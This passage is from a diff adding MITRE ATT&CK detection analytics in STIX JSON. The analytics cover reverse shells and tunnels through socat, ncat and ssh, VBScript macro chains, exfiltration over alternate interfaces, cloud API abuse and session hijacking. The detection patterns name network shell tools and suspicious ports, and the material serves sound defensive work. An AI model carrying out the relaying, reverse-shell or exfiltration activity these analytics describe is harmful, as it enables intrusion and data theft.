"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Windows Firewall Log", + "channel": "SMB over high port" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InternalConnectionPattern", + "description": "Tune based on known host-to-host communications that are rare (e.g., workstation-to-workstation)." + }, + { + "field": "DestinationPort", + "description": "Focus on unusual internal traffic on ports like 1080, 8080, 4444, or SMB over non-standard ports." + }, + { + "field": "TimeWindow", + "description": "Correlate unusual traffic bursts with new process execution." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7f269271-6800-4d20-b9f7-6c38cecac6f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0075#AN0205", + "external_id": "AN0205" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0205", + "description": "`socat`, `ssh`, `iptables`, or `ncat` invoked from user space or cron jobs to create port forwarding, reverse shells, or inter-host tunnels between compromised Linux systems. Behavior is typically paired with socket activity and high entropy traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Connections", + "channel": "Internal connection logging" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "conn.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Alert on unexpected users executing inter-host relay tools (e.g., `www-data`, `backup`)." + }, + { + "field": "PortRange", + "description": "Adjust to watch for commonly misused internal TCP/UDP ports." + }, + { + "field": "ProcessPattern", + "description": "Shell pipelines or wrapped invocations like `bash -c 'socat ...'`" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c62026a7-3332-489f-bb86-30626c1b3cc8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0075#AN0206", + "external_id": "AN0206" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0206", + "description": "Execution of AppleScript or Automator services launching `ssh -L`, `socat`, or `launchctl` items that dynamically reroute traffic from one Mac endpoint to another. LaunchAgents used to establish permanent internal tunnels.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "pf firewall logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "macos:osquery", + "channel": "Process Events and Launch Daemons" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchAgentPath", + "description": "Directory where proxying LaunchDaemons may be dropped, e.g., `/Library/LaunchDaemons/`." + }, + { + "field": "PortBindings", + "description": "Dynamic port forwards often use ephemeral or non-standard service ports." + }, + { + "field": "AppleScriptUsage", + "description": "May trigger on less common scripting interfaces for traffic redirection." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c1fd84b0-953d-463b-a293-3d6aa81e4589", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0075#AN0207", + "external_id": "AN0207" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0207", + "description": "ESXi shell execution of tools/scripts (`nc`, `socat`, `perl`) relaying network traffic to other internal hosts, especially when initiated by unauthorized users or VMs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:shell", + "channel": "/var/log/shell.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "conn.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CLICommandPattern", + "description": "Watch for chained shell commands building local-to-local connections." + }, + { + "field": "VMInitiator", + "description": "Correlate to which VM initiated the traffic tunnel; unexpected VM behavior may be suspicious." + }, + { + "field": "ConnectionDirectionality", + "description": "Unusual east-west communication patterns among VMs." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--42ba4dcf-0354-4d70-8c29-d0c3a8c90c23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0075#AN0208", + "external_id": "AN0208" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0208", + "description": "Configuration of internal NAT or proxy rules that redirect traffic between client segments internally (e.g., site-to-site port forwarding). Often used to relay internal beaconing or move traffic laterally through trust zones.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "Firewall Audit Logs", + "channel": "Config Change" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Inter-segment traffic" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "Policy Update" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProxyTarget", + "description": "Internal subnets or endpoint roles allowed for port forwarding." + }, + { + "field": "ConfigChangeUser", + "description": "Detect changes made outside scheduled or authorized windows." + }, + { + "field": "FlowThreshold", + "description": "Volume of data relayed through proxy exceeds historical norms." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0fe7a1db-759d-4d27-8ef1-a71509643594", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0076#AN0209", + "external_id": "AN0209" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0209", + "description": "Detects execution of VB-based scripts or macros (VBS/VBA/VBScript) through cscript.exe/wscript.exe, Office-based process chains, or HTA usage. Focuses on chained behavior: Office or HTML container spawns script host > script host spawns PowerShell, network connections, or process injection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcess", + "description": "Microsoft Word/Excel or mshta.exe spawning wscript.exe/cscript.exe." + }, + { + "field": "UserContext", + "description": "Script execution by non-admin users or service accounts." + }, + { + "field": "TimeWindow", + "description": "Script execution outside normal business hours or patching cycle." + }, + { + "field": "PayloadEntropyThreshold", + "description": "High entropy indicative of obfuscation or encoding in the script." + }, + { + "field": "ModuleName", + "description": "Loading of vbscript.dll, scrrun.dll, or other scripting engine modules." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--668bc76f-04cc-4274-8a66-cfa00e83ef14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0076#AN0210", + "external_id": "AN0210" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0210", + "description": "Detects embedded or emulated VBScript/VBA execution via Wine-based apps, Office for Mac abusing cross-platform .NET features, or macros dropped and invoked via AppleScript or third-party automation tools.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'eventMessage contains \"wscript\" OR \"vbs\"'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:syslog", + "channel": "system.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptLocation", + "description": "Script run from ~/Downloads, ~/Library, or /tmp/" + }, + { + "field": "EmulationContext", + "description": "Wine or CrossOver launching legacy Windows scripting engines." + }, + { + "field": "UserContext", + "description": "VB execution from non-standard or shared users on endpoint." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--08318de4-1327-48ac-a686-403162d3891f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0076#AN0211", + "external_id": "AN0211" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0211", + "description": "Detects abuse of Mono/.NET Core environments to execute VB-like scripts, often in environments with Office emulation or WINE. Focus is on rare invocations of scripting hosts like mono.exe or .NET shells, often seen in spam filtering or forensic labs with Office support.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "linux:syslog", + "channel": "/var/log/syslog" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InterpreterPath", + "description": "Mono/.NET Core binary location may differ per distro or Docker container." + }, + { + "field": "FileExtension", + "description": ".vbs, .vb, or .vba run under non-standard interpreters." + }, + { + "field": "ExecContext", + "description": "Execution by low-privilege users or from /tmp/." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cf404364-1397-4f0f-9c21-cd534880722a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0077#AN0212", + "external_id": "AN0212" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0212", + "description": "Execution of file transfer or network access activity through non-primary interfaces (e.g., WiFi, Bluetooth, cellular) by processes not typically associated with such behavior (e.g., rundll32, powershell, regsvr32).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "WinEventLog:System", + "channel": "EventCode=5005 (WLAN), EventCode=302 (Bluetooth)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InterfaceType", + "description": "Filter for specific interface categories (e.g., WiFi, Bluetooth, 4G)." + }, + { + "field": "FileSizeThreshold", + "description": "Tunable for environment-specific large file access events pre-transfer." + }, + { + "field": "TimeWindow", + "description": "Temporal correlation window for file read followed by network activity." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5b9f2d26-e84c-49a3-8586-a7367580b802", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0077#AN0213", + "external_id": "AN0213" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0213", + "description": "Use of `rfkill`, `nmcli`, or low-level tools (e.g., `iw`, `hcitool`, `pppd`) to enable alternate interfaces followed by data transfer via non-primary NICs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandPattern", + "description": "Match known interface manipulation utilities or driver invocations." + }, + { + "field": "NetworkDevice", + "description": "Tunable to non-default or rarely used interfaces (e.g., wlan1, hci0)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5a05483c-fb3b-4240-bf90-c1873b6bd392", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0077#AN0214", + "external_id": "AN0214" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0214", + "description": "AppleScript or system calls to activate WiFi/Bluetooth interfaces (`networksetup`, `blueutil`), followed by exfiltration via AirDrop, cloud sync, or network socket.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "macos:osquery", + "channel": "interface_details " + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Protocol", + "description": "Protocol used for exfil (e.g., AirDrop, mDNS, Apple File Service)." + }, + { + "field": "InterfaceActivityWindow", + "description": "Time period between interface activation and transfer." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fb933fd5-5dd8-4879-b2bb-e68bc26ff60d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0078#AN0215", + "external_id": "AN0215" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0215", + "description": "Detects adversarial use of cloud APIs for command execution, resource control, or reconnaissance. Focuses on CLI/SDK/scripting language abuse via stolen credentials or in-browser Cloud Shells. Monitors for anomalous API calls chained with authentication context shifts (e.g., stolen token -> privileged action) and cross-service impacts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "AWS:CloudTrail", + "channel": "eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "azure:activity", + "channel": "operationName: Write, Access Review, RoleAssignment" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "Okta:SystemLog", + "channel": "eventType: user.authentication.sso, app.oauth2.token.grant" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Off-hours API usage or configuration changes are more suspicious outside business context." + }, + { + "field": "UserAgent", + "description": "Unexpected SDK usage (e.g., `boto3`, `azcopy`, unknown User-Agent strings)." + }, + { + "field": "CredentialType", + "description": "High-risk if access token or API key used outside expected geographic/IP behavior." + }, + { + "field": "APISequence", + "description": "Unusual or rapid chaining of provisioning, IAM, and execution APIs." + }, + { + "field": "ConsoleContext", + "description": "Browser-based Cloud Shell vs local CLI may indicate insider vs external use case." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3c320df0-2a99-4bc4-b0f4-7af1675ccdb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0079#AN0216", + "external_id": "AN0216" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0216", + "description": "Detection of anomalous RDP or remote service session activity where a logon session is hijacked rather than newly created. Indicators include mismatched user credentials vs. active session tokens, service session takeovers without corresponding successful logon events, or RDP shadowing activity without user consent.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4648" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExpectedUserSessionMap", + "description": "Mapping of users to hosts they are expected to access; deviations indicate possible hijacking." + }, + { + "field": "TimeWindow", + "description": "Threshold for detecting rapid pivoting via hijacked sessions." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fba8a3f5-74d0-47d2-a688-1bdcc99dae6b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0079#AN0217", + "external_id": "AN0217" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0217", + "description": "Detection of SSH/Telnet session hijacking via discrepancies between authentication logs and active session tables. Adversary behavior includes reusing or stealing active PTY sessions, attaching to screen/tmux, or issuing commands without corresponding login events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Commands executed within an SSH session where no matching logon/authentication event exists" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "NSM:Connections", + "channel": "Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Long-lived or hijacked SSH sessions maintained with no active user activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredServicePorts", + "description": "Ports for SSH/Telnet/RDP monitored for session hijacking; may vary by environment." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--81889314-3404-4cfb-a650-52a5898b6f31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0079#AN0218", + "external_id": "AN0218" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0218", + "description": "Detection of hijacked VNC or SSH sessions on macOS where adversaries take over an existing session rather than authenticating directly. Indicators include process execution from active sessions without new logon events, manipulation of TTY sessions, or anomalous network activity tied to dormant sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "macos:unifiedlog", + "channel": "Authentication inconsistencies where commands are executed without corresponding login events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Suspicious long-lived or reattached remote desktop sessions from unexpected IPs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SessionIdleThreshold", + "description": "Time threshold for inactive sessions flagged as suspicious when commands suddenly resume." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--17290910-5b25-477a-a0c0-c2661ff2585e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0080#AN0219", + "external_id": "AN0219" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0219", + "description": "Adversary sends crafted HTTP/S (or other service) input to an Internet-facing app (IIS/ASP.NET, API, device portal). Chain: (1) abnormal request patterns to public endpoint \u2192 (2) elevated 4xx/5xx or unusual methods/paths \u2192 (3) server process (w3wp.exe/other service) spawns shell/LOLbins or loads non-standard modules \u2192 (4) optional outbound callback from the host/container.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "ApplicationLog:IIS", + "channel": "IIS W3C logs in C:\\inetpub\\logs\\LogFiles\\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns)" + }, + { + "x_mitre_data_component_ref": 